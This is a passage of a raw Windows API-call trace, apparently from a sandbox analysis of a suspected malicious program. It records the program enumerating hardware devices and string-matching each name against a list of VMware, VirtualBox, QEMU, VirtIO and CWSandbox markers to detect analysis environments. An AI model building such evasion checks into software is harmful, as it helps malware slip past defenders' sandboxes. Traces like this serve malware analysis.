[0241.352] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware Accelerated") returned 0x0 [0241.352] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.352] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f930 | out: hHeap=0x25a0000) returned 1 [0241.352] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa68 [0241.352] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware SCSI") returned 0x0 [0241.352] lstrlenA (lpString="VMware SCSI") returned 11 [0241.352] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0241.352] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa50 [0241.352] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware SVGA") returned 0x0 [0241.352] lstrlenA (lpString="VMware SVGA") returned 11 [0241.352] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0241.352] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fba0 [0241.352] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware Replay") returned 0x0 [0241.352] lstrlenA (lpString="VMware Replay") returned 13 [0241.352] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.353] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f930 [0241.353] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware server memory") returned 0x0 [0241.353] lstrlenA (lpString="VMware server memory") returned 20 [0241.353] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f930 | out: hHeap=0x25a0000) returned 1 [0241.353] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb10 [0241.353] StrStrIA (lpFirst="Intel Processor", lpSrch="CWSandbox") returned 0x0 [0241.353] lstrlenA (lpString="CWSandbox") returned 9 [0241.353] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.353] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fba0 [0241.353] StrStrIA (lpFirst="Intel Processor", lpSrch="Virtual HD") returned 0x0 [0241.353] lstrlenA (lpString="Virtual HD") returned 10 [0241.353] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.353] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f858 [0241.353] StrStrIA (lpFirst="Intel Processor", lpSrch="QEMU") returned 0x0 [0241.353] lstrlenA (lpString="QEMU") returned 4 [0241.353] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f858 | out: hHeap=0x25a0000) returned 1 [0241.353] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261faf8 [0241.353] StrStrIA (lpFirst="Intel Processor", lpSrch="Red Hat VirtIO") returned 0x0 [0241.353] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.353] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0241.353] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb28 [0241.354] StrStrIA (lpFirst="Intel Processor", lpSrch="srootkit") returned 0x0 [0241.354] lstrlenA (lpString="srootkit") returned 8 [0241.354] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0241.354] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fab0 [0241.354] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware VMaudio") returned 0x0 [0241.354] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.354] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.354] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa20 [0241.354] StrStrIA (lpFirst="Intel Processor", lpSrch="VMware Vista") returned 0x0 [0241.354] lstrlenA (lpString="VMware Vista") returned 12 [0241.354] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.354] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb88 [0241.354] StrStrIA (lpFirst="Intel Processor", lpSrch="VBoxVideo") returned 0x0 [0241.354] lstrlenA (lpString="VBoxVideo") returned 9 [0241.354] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0241.354] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa68 [0241.354] StrStrIA (lpFirst="Intel Processor", lpSrch="VBoxGuest") returned 0x0 [0241.354] lstrlenA (lpString="VBoxGuest") returned 9 [0241.354] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0241.354] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.354] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.355] GetLastError () returned 0x7a [0241.355] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f908 [0241.355] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.355] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f888 [0241.355] StrStrIA (lpFirst="intelppm", lpSrch="vmxnet") returned 0x0 [0241.355] lstrlenA (lpString="vmxnet") returned 6 [0241.355] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f888 | out: hHeap=0x25a0000) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f728 [0241.356] StrStrIA (lpFirst="intelppm", lpSrch="vmscsi") returned 0x0 [0241.356] lstrlenA (lpString="vmscsi") returned 6 [0241.356] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f748 [0241.356] StrStrIA (lpFirst="intelppm", lpSrch="VMAUDIO") returned 0x0 [0241.356] lstrlenA (lpString="VMAUDIO") returned 7 [0241.356] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f748 | out: hHeap=0x25a0000) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7a8 [0241.356] StrStrIA (lpFirst="intelppm", lpSrch="vmdebug") returned 0x0 [0241.356] lstrlenA (lpString="vmdebug") returned 7 [0241.356] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7a8 | out: hHeap=0x25a0000) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f8a8 [0241.356] StrStrIA (lpFirst="intelppm", lpSrch="vm3dmp") returned 0x0 [0241.356] lstrlenA (lpString="vm3dmp") returned 6 [0241.356] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8a8 | out: hHeap=0x25a0000) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb10 [0241.356] StrStrIA (lpFirst="intelppm", lpSrch="vmrawdsk") returned 0x0 [0241.356] lstrlenA (lpString="vmrawdsk") returned 8 [0241.356] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.356] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa80 [0241.357] StrStrIA (lpFirst="intelppm", lpSrch="vmx_svga") returned 0x0 [0241.357] lstrlenA (lpString="vmx_svga") returned 8 [0241.357] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f778 [0241.357] StrStrIA (lpFirst="intelppm", lpSrch="ansfltr") returned 0x0 [0241.357] lstrlenA (lpString="ansfltr") returned 7 [0241.357] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f778 | out: hHeap=0x25a0000) returned 1 [0241.357] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f898 [0241.357] StrStrIA (lpFirst="intelppm", lpSrch="sbtisht") returned 0x0 [0241.357] lstrlenA (lpString="sbtisht") returned 7 [0241.357] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f898 | out: hHeap=0x25a0000) returned 1 [0241.357] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.357] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0xe, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.357] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.363] GetLastError () returned 0x7a [0241.363] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1a) returned 0x261f908 [0241.363] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.371] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fb70 [0241.371] StrStrIA (lpFirst="??????? ????", lpSrch="VMware Pointing") returned 0x0 [0241.371] lstrlenA (lpString="VMware Pointing") returned 15 [0241.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0241.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f930 [0241.372] StrStrIA (lpFirst="??????? ????", lpSrch="VMware Accelerated") returned 0x0 [0241.372] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f930 | out: hHeap=0x25a0000) returned 1 [0241.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa38 [0241.372] StrStrIA (lpFirst="??????? ????", lpSrch="VMware SCSI") returned 0x0 [0241.372] lstrlenA (lpString="VMware SCSI") returned 11 [0241.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0241.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261f9f0 [0241.372] StrStrIA (lpFirst="??????? ????", lpSrch="VMware SVGA") returned 0x0 [0241.372] lstrlenA (lpString="VMware SVGA") returned 11 [0241.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa80 [0241.372] StrStrIA (lpFirst="??????? ????", lpSrch="VMware Replay") returned 0x0 [0241.372] lstrlenA (lpString="VMware Replay") returned 13 [0241.372] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0241.372] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f930 [0241.372] StrStrIA (lpFirst="??????? ????", lpSrch="VMware server memory") returned 0x0 [0241.372] lstrlenA (lpString="VMware server memory") returned 20 [0241.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f930 | out: hHeap=0x25a0000) returned 1 [0241.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fbb8 [0241.373] StrStrIA (lpFirst="??????? ????", lpSrch="CWSandbox") returned 0x0 [0241.373] lstrlenA (lpString="CWSandbox") returned 9 [0241.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0241.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fa20 [0241.373] StrStrIA (lpFirst="??????? ????", lpSrch="Virtual HD") returned 0x0 [0241.373] lstrlenA (lpString="Virtual HD") returned 10 [0241.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0241.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f7a8 [0241.373] StrStrIA (lpFirst="??????? ????", lpSrch="QEMU") returned 0x0 [0241.373] lstrlenA (lpString="QEMU") returned 4 [0241.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7a8 | out: hHeap=0x25a0000) returned 1 [0241.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa08 [0241.373] StrStrIA (lpFirst="??????? ????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.373] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0241.373] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb58 [0241.373] StrStrIA (lpFirst="??????? ????", lpSrch="srootkit") returned 0x0 [0241.373] lstrlenA (lpString="srootkit") returned 8 [0241.373] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0241.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa68 [0241.374] StrStrIA (lpFirst="??????? ????", lpSrch="VMware VMaudio") returned 0x0 [0241.374] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0241.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fa68 [0241.374] StrStrIA (lpFirst="??????? ????", lpSrch="VMware Vista") returned 0x0 [0241.374] lstrlenA (lpString="VMware Vista") returned 12 [0241.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0241.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa08 [0241.374] StrStrIA (lpFirst="??????? ????", lpSrch="VBoxVideo") returned 0x0 [0241.374] lstrlenA (lpString="VBoxVideo") returned 9 [0241.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0241.374] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261faf8 [0241.374] StrStrIA (lpFirst="??????? ????", lpSrch="VBoxGuest") returned 0x0 [0241.374] lstrlenA (lpString="VBoxGuest") returned 9 [0241.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0241.374] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.374] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.374] GetLastError () returned 0xd [0241.375] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0xf, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.375] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.385] GetLastError () returned 0x7a [0241.385] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fb88 [0241.385] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb88, PropertyBufferSize=0x8, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261fb88, RequiredSize=0x19fe7c) returned 1 [0241.392] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa80 [0241.392] StrStrIA (lpFirst="???????", lpSrch="VMware Pointing") returned 0x0 [0241.392] lstrlenA (lpString="VMware Pointing") returned 15 [0241.393] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0241.393] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f908 [0241.393] StrStrIA (lpFirst="???????", lpSrch="VMware Accelerated") returned 0x0 [0241.393] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.393] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.393] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fac8 [0241.393] StrStrIA (lpFirst="???????", lpSrch="VMware SCSI") returned 0x0 [0241.393] lstrlenA (lpString="VMware SCSI") returned 11 [0241.393] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0241.393] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb10 [0241.393] StrStrIA (lpFirst="???????", lpSrch="VMware SVGA") returned 0x0 [0241.393] lstrlenA (lpString="VMware SVGA") returned 11 [0241.393] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.393] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261faf8 [0241.393] StrStrIA (lpFirst="???????", lpSrch="VMware Replay") returned 0x0 [0241.393] lstrlenA (lpString="VMware Replay") returned 13 [0241.393] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0241.394] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f908 [0241.394] StrStrIA (lpFirst="???????", lpSrch="VMware server memory") returned 0x0 [0241.394] lstrlenA (lpString="VMware server memory") returned 20 [0241.394] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.394] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261f9f0 [0241.394] StrStrIA (lpFirst="???????", lpSrch="CWSandbox") returned 0x0 [0241.394] lstrlenA (lpString="CWSandbox") returned 9 [0241.394] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.394] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fba0 [0241.394] StrStrIA (lpFirst="???????", lpSrch="Virtual HD") returned 0x0 [0241.394] lstrlenA (lpString="Virtual HD") returned 10 [0241.394] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.394] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f7a8 [0241.394] StrStrIA (lpFirst="???????", lpSrch="QEMU") returned 0x0 [0241.394] lstrlenA (lpString="QEMU") returned 4 [0241.394] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7a8 | out: hHeap=0x25a0000) returned 1 [0241.394] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fba0 [0241.394] StrStrIA (lpFirst="???????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.394] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.394] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.394] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261faf8 [0241.394] StrStrIA (lpFirst="???????", lpSrch="srootkit") returned 0x0 [0241.394] lstrlenA (lpString="srootkit") returned 8 [0241.395] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261faf8 | out: hHeap=0x25a0000) returned 1 [0241.395] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fb10 [0241.395] StrStrIA (lpFirst="???????", lpSrch="VMware VMaudio") returned 0x0 [0241.395] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.395] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb10 | out: hHeap=0x25a0000) returned 1 [0241.395] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fb70 [0241.395] StrStrIA (lpFirst="???????", lpSrch="VMware Vista") returned 0x0 [0241.395] lstrlenA (lpString="VMware Vista") returned 12 [0241.395] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb70 | out: hHeap=0x25a0000) returned 1 [0241.395] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fbb8 [0241.395] StrStrIA (lpFirst="???????", lpSrch="VBoxVideo") returned 0x0 [0241.395] lstrlenA (lpString="VBoxVideo") returned 9 [0241.395] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0241.395] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa98 [0241.395] StrStrIA (lpFirst="???????", lpSrch="VBoxGuest") returned 0x0 [0241.395] lstrlenA (lpString="VBoxGuest") returned 9 [0241.395] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0241.395] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0241.395] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.396] GetLastError () returned 0x7a [0241.396] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x1a) returned 0x261f908 [0241.396] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0xd, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.396] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f798 [0241.396] StrStrIA (lpFirst="CompositeBus", lpSrch="vmxnet") returned 0x0 [0241.396] lstrlenA (lpString="vmxnet") returned 6 [0241.396] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f798 | out: hHeap=0x25a0000) returned 1 [0241.396] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f728 [0241.396] StrStrIA (lpFirst="CompositeBus", lpSrch="vmscsi") returned 0x0 [0241.396] lstrlenA (lpString="vmscsi") returned 6 [0241.396] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0241.396] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f8c8 [0241.396] StrStrIA (lpFirst="CompositeBus", lpSrch="VMAUDIO") returned 0x0 [0241.396] lstrlenA (lpString="VMAUDIO") returned 7 [0241.397] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8c8 | out: hHeap=0x25a0000) returned 1 [0241.397] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f758 [0241.397] StrStrIA (lpFirst="CompositeBus", lpSrch="vmdebug") returned 0x0 [0241.397] lstrlenA (lpString="vmdebug") returned 7 [0241.397] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f758 | out: hHeap=0x25a0000) returned 1 [0241.397] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f888 [0241.397] StrStrIA (lpFirst="CompositeBus", lpSrch="vm3dmp") returned 0x0 [0241.397] lstrlenA (lpString="vm3dmp") returned 6 [0241.397] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f888 | out: hHeap=0x25a0000) returned 1 [0241.397] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb88 [0241.397] StrStrIA (lpFirst="CompositeBus", lpSrch="vmrawdsk") returned 0x0 [0241.397] lstrlenA (lpString="vmrawdsk") returned 8 [0241.397] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0241.397] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa80 [0241.397] StrStrIA (lpFirst="CompositeBus", lpSrch="vmx_svga") returned 0x0 [0241.397] lstrlenA (lpString="vmx_svga") returned 8 [0241.397] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa80 | out: hHeap=0x25a0000) returned 1 [0241.397] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f868 [0241.397] StrStrIA (lpFirst="CompositeBus", lpSrch="ansfltr") returned 0x0 [0241.397] lstrlenA (lpString="ansfltr") returned 7 [0241.397] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f868 | out: hHeap=0x25a0000) returned 1 [0241.397] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f798 [0241.397] StrStrIA (lpFirst="CompositeBus", lpSrch="sbtisht") returned 0x0 [0241.398] lstrlenA (lpString="sbtisht") returned 7 [0241.398] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f798 | out: hHeap=0x25a0000) returned 1 [0241.398] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.398] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x10, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.398] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.406] GetLastError () returned 0x7a [0241.406] RtlAllocateHeap (HeapHandle=0x25a0000, 